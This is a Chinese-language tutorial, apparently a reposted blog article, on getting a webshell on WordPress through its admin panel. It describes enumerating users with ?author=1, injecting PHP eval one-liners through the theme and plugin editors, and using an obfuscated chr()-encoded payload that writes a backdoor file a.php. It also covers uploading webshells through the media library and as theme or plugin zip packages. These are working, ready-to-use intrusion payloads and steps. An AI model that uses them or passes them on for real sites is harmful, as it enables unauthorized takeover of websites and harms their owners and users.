Wordpress 后台GetShell總結


0x00 前言

Wordpress后台Getshell的方法網上公開了很多,在此記錄總結一下

相比於前台,wordpress后台的防御的就低得多
Wordpress的插件和主題功都可以上傳和線編輯
很容易就可以插入木馬getshell

?author=1 遍歷用戶名

0x01 在線編輯getshell

編輯主題

第一種

在后台找到主題外觀編輯
選擇主題,在右側選擇php文件

PHP標簽內寫入 @eval($_POST[a]);
或者在PHP標簽外寫入 <?php @eval($_POST['code']);?>
提交更改

路徑為
url+/wp-content/themes/+主題名/+修改文件的文件名

連接即可

 

 

也可以在這里寫入

url+/wp-content/themes/Begin/inc/xxx.php

第二種

進入主題編輯器,選擇要編輯的主題,要編輯的文件
插入下方payload,然后訪問之
(報下圖錯不用管)
url+/wp-content/themes/編輯的主題/編輯的文件

這樣就在該目錄下生成一句話木馬文件
文件名 a.php 密碼 a
路徑 url+/wp-content/themes/編輯的主題/a.php

<script language="php">fputs(fopen(chr(46).chr(47).chr(97).chr(46).chr(112).chr(104).chr(112),w),chr(60).chr(63).chr(101).chr(118).chr(97).chr(108).chr(40).chr(36).chr(95).chr(80).chr(79).chr(83).chr(84).chr(91).chr(97).chr(93).chr(41).chr(59).chr(63).chr(62));</script>

 

 

 

 

 

 

編輯插件

和編輯主題思路方法一致

路徑為

url+/wordpress321/wp-content/plugins/+更改的插件名+/+更改的文件名

0x02 上傳getshell

媒體上傳

在WordPress管理頁面的左邊單擊“媒體”-“新增媒體案”
接着就會出來一個上傳的界面,在該界面中選擇“Browser 上傳功能”
直接選擇php的Webshell上傳即可;

上傳主題

上傳一個壓縮了木馬的zip
或者在官方主題中加入木馬重新打包成zip更好
則木馬路徑為

url+/wp-content/themes/+主題名+/木馬名

上傳插件

和上傳主題的思路一樣

路徑為

url+/wp-content/plugins/+插件名+/木馬名


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM